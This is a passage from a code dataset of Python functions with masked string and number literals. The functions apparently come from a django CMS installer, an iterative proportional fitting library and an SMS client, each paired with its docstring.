'<STR_LIT>'))<EOL>for key, value in iteritems(cms_langs):<EOL><INDENT>if key == '<STR_LIT:default>':<EOL><INDENT>cms_text.append('<STR_LIT>'.format(spacer, key))<EOL>for config_name, config_value in iteritems(value):<EOL><INDENT>cms_text.append('<STR_LIT>'.format(spacer * <NUM_LIT:2>, config_name, config_value))<EOL><DEDENT>cms_text.append('<STR_LIT>'.format(spacer))<EOL><DEDENT>else:<EOL><INDENT>cms_text.append('<STR_LIT>'.format(spacer, key))<EOL>for lang in value:<EOL><INDENT>cms_text.append('<STR_LIT>'.format(spacer * <NUM_LIT:2>))<EOL>for config_name, config_value in iteritems(lang):<EOL><INDENT>if config_name == '<STR_LIT:code>':<EOL><INDENT>cms_text.append('<STR_LIT>'.format(spacer * <NUM_LIT:3>, config_name, config_value))  <EOL><DEDENT>elif config_name == '<STR_LIT:name>':<EOL><INDENT>cms_text.append('<STR_LIT>'.format(spacer * <NUM_LIT:3>, config_name, config_value))  <EOL><DEDENT>else:<EOL><INDENT>cms_text.append('<STR_LIT>'.format(<EOL>spacer * <NUM_LIT:3>, config_name, config_value<EOL>))<EOL><DEDENT><DEDENT>cms_text.append('<STR_LIT>'.format(spacer * <NUM_LIT:2>))<EOL><DEDENT>cms_text.append('<STR_LIT>'.format(spacer))<EOL><DEDENT><DEDENT>cms_text.append('<STR_LIT:}>')<EOL>text.append('<STR_LIT:\\n>'.join(cms_text))<EOL>if config_data.bootstrap:<EOL><INDENT>cms_templates = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>cms_templates = '<STR_LIT>'<EOL><DEDENT>text.append('<STR_LIT>'.format(<EOL>spacer, '<STR_LIT>',<EOL>('<STR_LIT>' + spacer).join(<EOL>['<STR_LIT>'.format(*item) for item in getattr(vars, cms_templates)]<EOL>)<EOL>))<EOL>text.append('<STR_LIT>'.format(vars.CMS_PERMISSION))<EOL>text.append('<STR_LIT>'.format(vars.CMS_PLACEHOLDER_CONF))<EOL>database = ['<STR_LIT>'.format(key, format_val(val)) for key, val in sorted(config_data.db_parsed.items(), key=lambda x: x[<NUM_LIT:0>])]  <EOL>text.append(textwrap.dedent(\"\"\"<STR_LIT>\"\"\").strip().format(('<STR_LIT>' + spacer * <NUM_LIT:2>).join(database)))  <EOL>DJANGO_MIGRATION_MODULES = _detect_migration_layout(vars, apps)<EOL>text.append('<STR_LIT>'.format(<EOL>spacer, ('<STR_LIT>' + spacer).join(<EOL>['<STR_LIT>'.format(*item) for item in DJANGO_MIGRATION_MODULES.items()]<EOL>)<EOL>))<EOL>if config_data.filer:<EOL><INDENT>text.append('<STR_LIT>'.format(<EOL>spacer, ('<STR_LIT>' + spacer).join(<EOL>['<STR_LIT>'.format(var) for var in vars.THUMBNAIL_PROCESSORS]<EOL>)<EOL>))<EOL><DEDENT>return '<STR_LIT>'.join(text)<EOL>", "docstring": "Build the django CMS settings dictionary\n\n:param config_data: configuration data", "id": "f5883:m5"}
{"signature": "def setup_database(config_data):", "body": "with chdir(config_data.project_directory):<EOL><INDENT>env = deepcopy(dict(os.environ))<EOL>env[str('<STR_LIT>')] = str('<STR_LIT>'.format(config_data.project_name))<EOL>env[str('<STR_LIT>')] = str(os.pathsep.join(map(shlex_quote, sys.path)))<EOL>commands = []<EOL>commands.append(<EOL>[sys.executable, '<STR_LIT>', '<STR_LIT:ignore>', '<STR_LIT>', '<STR_LIT>'],<EOL>)<EOL>if config_data.verbose:<EOL><INDENT>sys.stdout.write(<EOL>'<STR_LIT>'.format(<EOL>'<STR_LIT:U+002CU+0020>'.join(['<STR_LIT:U+0020>'.join(cmd) for cmd in commands])<EOL>)<EOL>)<EOL><DEDENT>for command in commands:<EOL><INDENT>try:<EOL><INDENT>output = subprocess.check_output(<EOL>command, env=env, stderr=subprocess.STDOUT<EOL>)<EOL>sys.stdout.write(output.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>except subprocess.CalledProcessError as e:  <EOL><INDENT>if config_data.verbose:<EOL><INDENT>sys.stdout.write(e.output.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>raise<EOL><DEDENT><DEDENT>if not config_data.no_user:<EOL><INDENT>sys.stdout.write('<STR_LIT>')<EOL>if config_data.noinput:<EOL><INDENT>create_user(config_data)<EOL><DEDENT>else:<EOL><INDENT>subprocess.check_call('<STR_LIT:U+0020>'.join(<EOL>[sys.executable, '<STR_LIT>', '<STR_LIT:ignore>', '<STR_LIT>', '<STR_LIT>']<EOL>), shell=True, stderr=subprocess.STDOUT)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Run the migrate command to create the database schema\n\n:param config_data: configuration data", "id": "f5883:m6"}
{"signature": "def create_user(config_data):", "body": "with chdir(os.path.abspath(config_data.project_directory)):<EOL><INDENT>env = deepcopy(dict(os.environ))<EOL>env[str('<STR_LIT>')] = str('<STR_LIT>'.format(config_data.project_name))<EOL>env[str('<STR_LIT>')] = str(os.pathsep.join(map(shlex_quote, sys.path)))<EOL>subprocess.check_call(<EOL>[sys.executable, '<STR_LIT>'], env=env, stderr=subprocess.STDOUT<EOL>)<EOL>for ext in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>os.remove('<STR_LIT>'.format(ext))<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Create admin user without user input\n\n:param config_data: configuration data", "id": "f5883:m7"}
{"signature": "def load_starting_page(config_data):", "body": "with chdir(os.path.abspath(config_data.project_directory)):<EOL><INDENT>env = deepcopy(dict(os.environ))<EOL>env[str('<STR_LIT>')] = str('<STR_LIT>'.format(config_data.project_name))<EOL>env[str('<STR_LIT>')] = str(os.pathsep.join(map(shlex_quote, sys.path)))<EOL>subprocess.check_call(<EOL>[sys.executable, '<STR_LIT>'], env=env, stderr=subprocess.STDOUT<EOL>)<EOL>for ext in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>os.remove('<STR_LIT>'.format(ext))<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Load starting page into the CMS\n\n:param config_data: configuration data", "id": "f5883:m8"}
{"signature": "def parse_config_file(parser, stdin_args):", "body": "config_args = []<EOL>required_args = []<EOL>for action in parser._actions:<EOL><INDENT>if action.required:<EOL><INDENT>required_args.append(action)<EOL>action.required = False<EOL><DEDENT><DEDENT>parsed_args = parser.parse_args(stdin_args)<EOL>for action in required_args:<EOL><INDENT>action.required = True<EOL><DEDENT>if not parsed_args.config_file:<EOL><INDENT>return config_args<EOL><DEDENT>config = ConfigParser()<EOL>if not config.read(parsed_args.config_file):<EOL><INDENT>sys.stderr.write('<STR_LIT>'.format(parsed_args.config_file))<EOL>sys.exit(<NUM_LIT:7>)  <EOL><DEDENT>config_args = _convert_config_to_stdin(config, parser)<EOL>return config_args<EOL>", "docstring": "Parse config file.\n\n    Returns a list of additional args.", "id": "f5887:m0"}
{"signature": "def dump_config_file(filename, args, parser=None):", "body": "config = ConfigParser()<EOL>config.add_section(SECTION)<EOL>if parser is None:<EOL><INDENT>for attr in args:<EOL><INDENT>config.set(SECTION, attr, args.attr)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>keys_empty_values_not_pass = (<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>for action in parser._actions:<EOL><INDENT>if action.dest in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>keyp = action.option_strings[<NUM_LIT:0>]<EOL>option_name = keyp.lstrip('<STR_LIT:->')<EOL>option_value = getattr(args, action.dest)<EOL>if any([i for i in keys_empty_values_not_pass if i in action.option_strings]):<EOL><INDENT>if action.dest == '<STR_LIT>':<EOL><INDENT>if len(option_value) == <NUM_LIT:1> and option_value[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>config.set(SECTION, option_name, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>config.set(SECTION, option_name, '<STR_LIT:U+002C>'.join(option_value))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>config.set(SECTION, option_name, option_value if option_value else '<STR_LIT>')<EOL><DEDENT><DEDENT>elif action.choices == ('<STR_LIT:yes>', '<STR_LIT>'):<EOL><INDENT>config.set(SECTION, option_name, '<STR_LIT:yes>' if option_value else '<STR_LIT>')<EOL><DEDENT>elif action.dest == '<STR_LIT>':<EOL><INDENT>config.set(SECTION, option_name, option_value if option_value else '<STR_LIT>')<EOL><DEDENT>elif action.dest == '<STR_LIT>':<EOL><INDENT>version = ('<STR_LIT>' if option_value == CMS_VERSION_MATRIX['<STR_LIT>']<EOL>else option_value)<EOL>config.set(SECTION, option_name, version)<EOL><DEDENT>elif action.dest == '<STR_LIT>':<EOL><INDENT>version = ('<STR_LIT>' if option_value == DJANGO_VERSION_MATRIX['<STR_LIT>']<EOL>else option_value)<EOL>config.set(SECTION, option_name, version)<EOL><DEDENT>elif action.const:<EOL><INDENT>config.set(SECTION, option_name, '<STR_LIT:true>' if option_value else '<STR_LIT:false>')<EOL><DEDENT>else:<EOL><INDENT>config.set(SECTION, option_name, str(option_value))<EOL><DEDENT><DEDENT><DEDENT>with open(filename, '<STR_LIT:w>') as fp:<EOL><INDENT>config.write(fp)<EOL><DEDENT>", "docstring": "Dump args to config file.", "id": "f5887:m1"}
{"signature": "def _convert_config_to_stdin(config, parser):", "body": "keys_empty_values_not_pass = (<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>args = []<EOL>for key, val in config.items(SECTION):<EOL><INDENT>keyp = '<STR_LIT>'.format(key)<EOL>action = parser._option_string_actions[keyp]<EOL>if action.const:<EOL><INDENT>try:<EOL><INDENT>if config.getboolean(SECTION, key):<EOL><INDENT>args.append(keyp)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>args.extend([keyp, val])  <EOL><DEDENT><DEDENT>elif any([i for i in keys_empty_values_not_pass if i in action.option_strings]):<EOL><INDENT>if val != '<STR_LIT>':<EOL><INDENT>args.extend([keyp, val])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>args.extend([keyp, val])<EOL><DEDENT><DEDENT>return args<EOL>", "docstring": "Convert config options to stdin args.\n\n    Especially boolean values, for more information\n    @see https://docs.python.org/3.4/library/configparser.html#supported-datatypes", "id": "f5887:m2"}
{"signature": "def validate_project(project_name):", "body": "if '<STR_LIT:->' in project_name:<EOL><INDENT>return None<EOL><DEDENT>if keyword.iskeyword(project_name):<EOL><INDENT>return None<EOL><DEDENT>if project_name in dir(__builtins__):<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>__import__(project_name)<EOL>return None<EOL><DEDENT>except ImportError:<EOL><INDENT>return project_name<EOL><DEDENT>", "docstring": "Check the defined project name against keywords, builtins and existing\nmodules to avoid name clashing", "id": "f5890:m0"}
{"signature": "def parse(args):", "body": "from tzlocal import get_localzone<EOL>try:<EOL><INDENT>timezone = get_localzone()<EOL>if isinstance(timezone, pytz.BaseTzInfo):<EOL><INDENT>timezone = timezone.zone<EOL><DEDENT><DEDENT>except Exception:  <EOL><INDENT>timezone = '<STR_LIT>'<EOL><DEDENT>if timezone == '<STR_LIT>':<EOL><INDENT>timezone = '<STR_LIT>'<EOL><DEDENT>parser = argparse.ArgumentParser(description=", "docstring": "Define the available arguments", "id": "f5892:m0"}
{"signature": "def show_plugins():", "body": "sys.stdout.write(compat.unicode(data.PLUGIN_LIST_TEXT))<EOL>", "docstring": "Shows a descriptive text about supported plugins", "id": "f5892:m3"}
{"signature": "def show_requirements(args):", "body": "sys.stdout.write(compat.unicode(args.requirements))<EOL>", "docstring": "Prints the list of requirements according to the arguments provided", "id": "f5892:m4"}
{"signature": "def _manage_args(parser,  args):", "body": "for item in data.CONFIGURABLE_OPTIONS:<EOL><INDENT>action = parser._option_string_actions[item]<EOL>choices = default = '<STR_LIT>'<EOL>input_value = getattr(args, action.dest)<EOL>new_val = None<EOL>if not args.noinput:  <EOL><INDENT>if action.choices:<EOL><INDENT>choices = '<STR_LIT>'.format('<STR_LIT:U+002CU+0020>'.join(action.choices))<EOL><DEDENT>if input_value:<EOL><INDENT>if type(input_value) == list:<EOL><INDENT>default = '<STR_LIT>'.format('<STR_LIT:U+002CU+0020>'.join(input_value))<EOL><DEDENT>else:<EOL><INDENT>default = '<STR_LIT>'.format(input_value)<EOL><DEDENT><DEDENT>while not new_val:<EOL><INDENT>prompt = '<STR_LIT>'.format(action.help, choices, default)<EOL>if action.choices in ('<STR_LIT:yes>', '<STR_LIT>'):<EOL><INDENT>new_val = utils.query_yes_no(prompt)<EOL><DEDENT>else:<EOL><INDENT>new_val = compat.input(prompt)<EOL><DEDENT>new_val = compat.clean(new_val)<EOL>if not new_val and input_value:<EOL><INDENT>new_val = input_value<EOL><DEDENT>if new_val and action.dest == '<STR_LIT>':<EOL><INDENT>if new_val != '<STR_LIT>' and not os.path.isdir(new_val):<EOL><INDENT>sys.stdout.write('<STR_LIT>')<EOL>new_val = False<EOL><DEDENT><DEDENT>if new_val and action.dest == '<STR_LIT>':<EOL><INDENT>action(parser, args, new_val, action.option_strings)<EOL>new_val = getattr(args, action.dest)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if not input_value and action.required:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(action.dest)<EOL>)<EOL><DEDENT>new_val = input_value<EOL>if action.dest == '<STR_LIT>':<EOL><INDENT>action(parser, args, new_val, action.option_strings)<EOL>new_val = getattr(args, action.dest)<EOL><DEDENT><DEDENT>if action.dest == '<STR_LIT>' and (new_val == '<STR_LIT>' or not os.path.isdir(new_val)):<EOL><INDENT>new_val = False<EOL><DEDENT>if action.dest in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>new_val = (new_val == '<STR_LIT:yes>')<EOL><DEDENT>setattr(args, action.dest, new_val)<EOL><DEDENT>return args<EOL>", "docstring": "Checks and validate provided input", "id": "f5892:m5"}
{"signature": "def query_yes_no(question, default=None):  ", "body": "valid = {'<STR_LIT:yes>': True, '<STR_LIT:y>': True, '<STR_LIT>': True, '<STR_LIT>': False, '<STR_LIT:n>': False}<EOL>if default is None:<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>elif default == '<STR_LIT:yes>':<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>elif default == '<STR_LIT>':<EOL><INDENT>prompt = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(default))<EOL><DEDENT>while True:<EOL><INDENT>sys.stdout.write(question + prompt)<EOL>choice = compat.input().lower()<EOL>if default is not None and choice == '<STR_LIT>':<EOL><INDENT>return valid[default]<EOL><DEDENT>elif choice in valid:<EOL><INDENT>return valid[choice]<EOL><DEDENT>else:<EOL><INDENT>sys.stdout.write('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Ask a yes/no question via `raw_input()` and return their answer.\n\n:param question: A string that is presented to the user.\n:param default: The presumed answer if the user just hits <Enter>.\n                It must be \"yes\" (the default), \"no\" or None (meaning\n                an answer is required of the user).\n\nThe \"answer\" return value is one of \"yes\" or \"no\".\n\nCode borrowed from cookiecutter\nhttps://github.com/audreyr/cookiecutter/blob/master/cookiecutter/prompt.py", "id": "f5897:m0"}
{"signature": "def supported_versions(django, cms):", "body": "cms_version = None<EOL>django_version = None<EOL>try:<EOL><INDENT>cms_version = Decimal(cms)<EOL><DEDENT>except (ValueError, InvalidOperation):<EOL><INDENT>try:<EOL><INDENT>cms_version = CMS_VERSION_MATRIX[str(cms)]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>django_version = Decimal(django)<EOL><DEDENT>except (ValueError, InvalidOperation):<EOL><INDENT>try:<EOL><INDENT>django_version = DJANGO_VERSION_MATRIX[str(django)]<EOL><DEDENT>except KeyError:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if (<EOL>cms_version and django_version and<EOL>not (LooseVersion(VERSION_MATRIX[compat.unicode(cms_version)][<NUM_LIT:0>]) <=<EOL>LooseVersion(compat.unicode(django_version)) <=<EOL>LooseVersion(VERSION_MATRIX[compat.unicode(cms_version)][<NUM_LIT:1>]))<EOL>):<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(django_version, cms_version)<EOL>)<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(django_version, cms_version)<EOL>)<EOL><DEDENT>return (<EOL>compat.unicode(django_version) if django_version else django_version,<EOL>compat.unicode(cms_version) if cms_version else cms_version<EOL>)<EOL>", "docstring": "Convert numeric and literal version information to numeric format", "id": "f5897:m1"}
{"signature": "def less_than_version(value):", "body": "items = list(map(int, str(value).split('<STR_LIT:.>')))<EOL>if len(items) == <NUM_LIT:1>:<EOL><INDENT>items.append(<NUM_LIT:0>)<EOL><DEDENT>items[<NUM_LIT:1>] += <NUM_LIT:1><EOL>if value == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:.>'.join(map(str, items))<EOL><DEDENT>", "docstring": "Converts the current version to the next one for inserting into requirements\nin the ' < version' format", "id": "f5897:m2"}
{"signature": "def format_val(val):", "body": "val = text_type(val)<EOL>if val.isdigit():<EOL><INDENT>return int(val)<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'.format(val)<EOL><DEDENT>", "docstring": "Returns val as integer or as escaped string according to its value\n:param val: any value\n:return: formatted string", "id": "f5897:m3"}
{"signature": "def check_install(config_data):", "body": "errors = []<EOL>try:<EOL><INDENT>from PIL import Image<EOL>try:<EOL><INDENT>im = Image.open(os.path.join(os.path.dirname(__file__), '<STR_LIT>'))<EOL>im.load()<EOL><DEDENT>except IOError:  <EOL><INDENT>errors.append(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>try:<EOL><INDENT>im = Image.open(os.path.join(os.path.dirname(__file__), '<STR_LIT>'))<EOL>im.load()<EOL><DEDENT>except IOError:  <EOL><INDENT>errors.append(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>except ImportError:  <EOL><INDENT>errors.append(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if config_data.db_driver == '<STR_LIT>' and not config_data.no_db_driver:  <EOL><INDENT>try:<EOL><INDENT>import psycopg2  <EOL><DEDENT>except ImportError:<EOL><INDENT>errors.append(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>if config_data.db_driver == '<STR_LIT>' and not config_data.no_db_driver:  <EOL><INDENT>try:<EOL><INDENT>import MySQLdb  <EOL><DEDENT>except ImportError:<EOL><INDENT>errors.append(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>if errors:  <EOL><INDENT>raise EnvironmentError('<STR_LIT:\\n>'.join(errors))<EOL><DEDENT>", "docstring": "Here we do some **really** basic environment sanity checks.\n\nBasically we test for the more delicate and failing-prone dependencies:\n * database driver\n * Pillow image format support\n\nMany other errors will go undetected", "id": "f5898:m0"}
{"signature": "def cleanup_directory(config_data):", "body": "if os.path.exists(config_data.project_directory):<EOL><INDENT>choice = False<EOL>if config_data.noinput is False and not config_data.verbose:<EOL><INDENT>choice = query_yes_no(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>os.path.abspath(config_data.project_directory)<EOL>),<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>sys.stdout.write('<STR_LIT>')<EOL><DEDENT>if config_data.skip_project_dir_check is False and (choice or<EOL>(config_data.noinput and<EOL>config_data.delete_project_dir)):<EOL><INDENT>sys.stdout.write('<STR_LIT>'.format(<EOL>os.path.abspath(config_data.project_directory)<EOL>))<EOL>shutil.rmtree(config_data.project_directory, True)<EOL><DEDENT><DEDENT>", "docstring": "Asks user for removal of project directory and eventually removes it", "id": "f5898:m4"}
{"signature": "def __init__(self, original, aggregates, dimensions, weight_col='<STR_LIT>',<EOL>convergence_rate=<NUM_LIT>, max_iteration=<NUM_LIT>, verbose=<NUM_LIT:0>, rate_tolerance=<NUM_LIT>):", "body": "self.original = original<EOL>self.aggregates = aggregates<EOL>self.dimensions = dimensions<EOL>self.weight_col = weight_col<EOL>self.conv_rate = convergence_rate<EOL>self.max_itr = max_iteration<EOL>self.verbose = verbose<EOL>self.rate_tolerance = rate_tolerance<EOL>", "docstring": "Initialize the ipfn class\n\noriginal: numpy darray matrix or dataframe to perform the ipfn on.\n\naggregates: list of numpy array or darray or pandas dataframe/series. The aggregates are the same as the marginals.\nThey are the target values that we want along one or several axis when aggregating along one or several axes.\n\ndimensions: list of lists with integers if working with numpy objects, or column names if working with pandas objects.\nPreserved dimensions along which we sum to get the corresponding aggregates.\n\nconvergence_rate: if there are many aggregates/marginal, it could be useful to loosen the convergence criterion.\n\nmax_iteration: Integer. Maximum number of iterations allowed.\n\nverbose: integer 0, 1 or 2. Each case number includes the outputs of the previous case numbers.\n0: Updated matrix returned.\n1: Flag with the output status (0 for failure and 1 for success).\n2: dataframe with iteration numbers and convergence rate information at all steps.\n\nrate_tolerance: float value. If above 0.0, like 0.001, the algorithm will stop once the difference between the conv_rate variable of 2 consecutive iterations is below that specified value\n\nFor examples, please open the ipfn script or look for help on functions ipfn_np and ipfn_df", "id": "f5901:c0:m0"}
{"signature": "def ipfn_np(self, m, aggregates, dimensions, weight_col='<STR_LIT>'):", "body": "steps = len(aggregates)<EOL>dim = len(m.shape)<EOL>product_elem = []<EOL>tables = [m]<EOL>for inc in range(steps - <NUM_LIT:1>):<EOL><INDENT>tables.append(np.array(np.zeros(m.shape)))<EOL><DEDENT>original = copy.copy(m)<EOL>for inc in range(steps):<EOL><INDENT>if inc == (steps - <NUM_LIT:1>):<EOL><INDENT>table_update = m<EOL>table_current = tables[inc]<EOL><DEDENT>else:<EOL><INDENT>table_update = tables[inc + <NUM_LIT:1>]<EOL>table_current = tables[inc]<EOL><DEDENT>for dimension in dimensions[inc]:<EOL><INDENT>product_elem.append(range(m.shape[dimension]))<EOL><DEDENT>for item in product(*product_elem):<EOL><INDENT>idx = self.index_axis_elem(dim, dimensions[inc], item)<EOL>table_current_slice = table_current[idx]<EOL>mijk = table_current_slice.sum()<EOL>xijk = aggregates[inc]<EOL>xijk = xijk[item]<EOL>if mijk == <NUM_LIT:0>:<EOL><INDENT>table_update[idx] = table_current_slice<EOL><DEDENT>else:<EOL><INDENT>table_update[idx] = table_current_slice * <NUM_LIT:1.0> * xijk / mijk<EOL><DEDENT><DEDENT>product_elem = []<EOL><DEDENT>max_conv = <NUM_LIT:0><EOL>for inc in range(steps):<EOL><INDENT>for dimension in dimensions[inc]:<EOL><INDENT>product_elem.append(range(m.shape[dimension]))<EOL><DEDENT>for item in product(*product_elem):<EOL><INDENT>idx = self.index_axis_elem(dim, dimensions[inc], item)<EOL>ori_ijk = aggregates[inc][item]<EOL>m_slice = m[idx]<EOL>m_ijk = m_slice.sum()<EOL>if abs(m_ijk / ori_ijk - <NUM_LIT:1>) > max_conv:<EOL><INDENT>max_conv = abs(m_ijk / ori_ijk - <NUM_LIT:1>)<EOL><DEDENT><DEDENT>product_elem = []<EOL><DEDENT>return m, max_conv<EOL>", "docstring": "Runs the ipfn method from a matrix m, aggregates/marginals and the dimension(s) preserved.\nFor example:\nfrom ipfn import ipfn\nimport numpy as np\nm = np.array([[8., 4., 6., 7.], [3., 6., 5., 2.], [9., 11., 3., 1.]], )\nxip = np.array([20., 18., 22.])\nxpj = np.array([18., 16., 12., 14.])\naggregates = [xip, xpj]\ndimensions = [[0], [1]]\n\nIPF = ipfn(m, aggregates, dimensions)\nm = IPF.iteration()", "id": "f5901:c0:m2"}
{"signature": "def ipfn_df(self, df, aggregates, dimensions, weight_col='<STR_LIT>'):", "body": "steps = len(aggregates)<EOL>tables = [df]<EOL>for inc in range(steps - <NUM_LIT:1>):<EOL><INDENT>tables.append(df.copy())<EOL><DEDENT>original = df.copy()<EOL>inc = <NUM_LIT:0><EOL>for features in dimensions:<EOL><INDENT>if inc == (steps - <NUM_LIT:1>):<EOL><INDENT>table_update = df<EOL>table_current = tables[inc]<EOL><DEDENT>else:<EOL><INDENT>table_update = tables[inc + <NUM_LIT:1>]<EOL>table_current = tables[inc]<EOL><DEDENT>tmp = table_current.groupby(features)[weight_col].sum()<EOL>xijk = aggregates[inc]<EOL>feat_l = []<EOL>for feature in features:<EOL><INDENT>feat_l.append(np.unique(table_current[feature]))<EOL><DEDENT>table_update.set_index(features, inplace=True)<EOL>table_current.set_index(features, inplace=True)<EOL>for feature in product(*feat_l):<EOL><INDENT>den = tmp.loc[feature]<EOL>if den == <NUM_LIT:0>:<EOL><INDENT>table_update.loc[feature, weight_col] =table_current.loc[feature, weight_col] *xijk.loc[feature]<EOL><DEDENT>else:<EOL><INDENT>table_update.loc[feature, weight_col] =table_current.loc[feature, weight_col].astype(float) *xijk.loc[feature] / den<EOL><DEDENT><DEDENT>table_update.reset_index(inplace=True)<EOL>table_current.reset_index(inplace=True)<EOL>inc += <NUM_LIT:1><EOL>feat_l = []<EOL><DEDENT>max_conv = <NUM_LIT:0><EOL>inc = <NUM_LIT:0><EOL>for features in dimensions:<EOL><INDENT>tmp = df.groupby(features)[weight_col].sum()<EOL>ori_ijk = aggregates[inc]<EOL>temp_conv = max(abs(tmp / ori_ijk - <NUM_LIT:1>))<EOL>if temp_conv > max_conv:<EOL><INDENT>max_conv = temp_conv<EOL><DEDENT>inc += <NUM_LIT:1><EOL><DEDENT>return df, max_conv<EOL>", "docstring": "Runs the ipfn method from a dataframe df, aggregates/marginals and the dimension(s) preserved.\nFor example:\nfrom ipfn import ipfn\nimport pandas as pd\nage = [30, 30, 30, 30, 40, 40, 40, 40, 50, 50, 50, 50]\ndistance = [10,20,30,40,10,20,30,40,10,20,30,40]\nm = [8., 4., 6., 7., 3., 6., 5., 2., 9., 11., 3., 1.]\ndf = pd.DataFrame()\ndf['age'] = age\ndf['distance'] = distance\ndf['total'] = m\n\nxip = df.groupby('age')['total'].sum()\nxip.loc[30] = 20\nxip.loc[40] = 18\nxip.loc[50] = 22\nxpj = df.groupby('distance')['total'].sum()\nxpj.loc[10] = 18\nxpj.loc[20] = 16\nxpj.loc[30] = 12\nxpj.loc[40] = 14\ndimensions = [['age'], ['distance']]\naggregates = [xip, xpj]\n\nIPF = ipfn(df, aggregates, dimensions)\ndf = IPF.iteration()\n\nprint(df)\nprint(df.groupby('age')['total'].sum(), xip)", "id": "f5901:c0:m3"}
{"signature": "def iteration(self):", "body": "i = <NUM_LIT:0><EOL>conv = np.inf<EOL>old_conv = -np.inf<EOL>conv_list = []<EOL>m = self.original<EOL>if isinstance(self.original, pd.DataFrame):<EOL><INDENT>ipfn_method = self.ipfn_df<EOL><DEDENT>elif isinstance(self.original, np.ndarray):<EOL><INDENT>ipfn_method = self.ipfn_np<EOL>self.original = self.original.astype('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>while ((i <= self.max_itr and conv > self.conv_rate) and<EOL>(i <= self.max_itr and abs(conv - old_conv) > self.rate_tolerance)):<EOL><INDENT>old_conv = conv<EOL>m, conv = ipfn_method(m, self.aggregates, self.dimensions, self.weight_col)<EOL>conv_list.append(conv)<EOL>i += <NUM_LIT:1><EOL><DEDENT>converged = <NUM_LIT:1><EOL>if i <= self.max_itr:<EOL><INDENT>if not conv > self.conv_rate:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>elif not abs(conv - old_conv) > self.rate_tolerance:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>converged = <NUM_LIT:0><EOL><DEDENT>if self.verbose == <NUM_LIT:0>:<EOL><INDENT>return m<EOL><DEDENT>elif self.verbose == <NUM_LIT:1>:<EOL><INDENT>return m, converged<EOL><DEDENT>elif self.verbose == <NUM_LIT:2>:<EOL><INDENT>return m, converged, pd.DataFrame({'<STR_LIT>': range(i), '<STR_LIT>': conv_list}).set_index('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Runs the ipfn algorithm. Automatically detects of working with numpy ndarray or pandas dataframes.", "id": "f5901:c0:m4"}
{"signature": "def __init__(self, yesss_login=YESSS_LOGIN, yesss_pw=YESSS_PASSWD):", "body": "self._version = VERSION<EOL>self._login_url = _LOGIN_URL<EOL>self._logout_url = _LOGOUT_URL<EOL>self._kontomanager = _KONTOMANAGER_URL<EOL>self._websms_url = _WEBSMS_URL<EOL>self._suspended = False<EOL>self._logindata = {'<STR_LIT>': yesss_login,<EOL>'<STR_LIT>': yesss_pw}<EOL>", "docstring": "Initialize YesssSMS member variables.", "id": "f5903:c0:m0"}
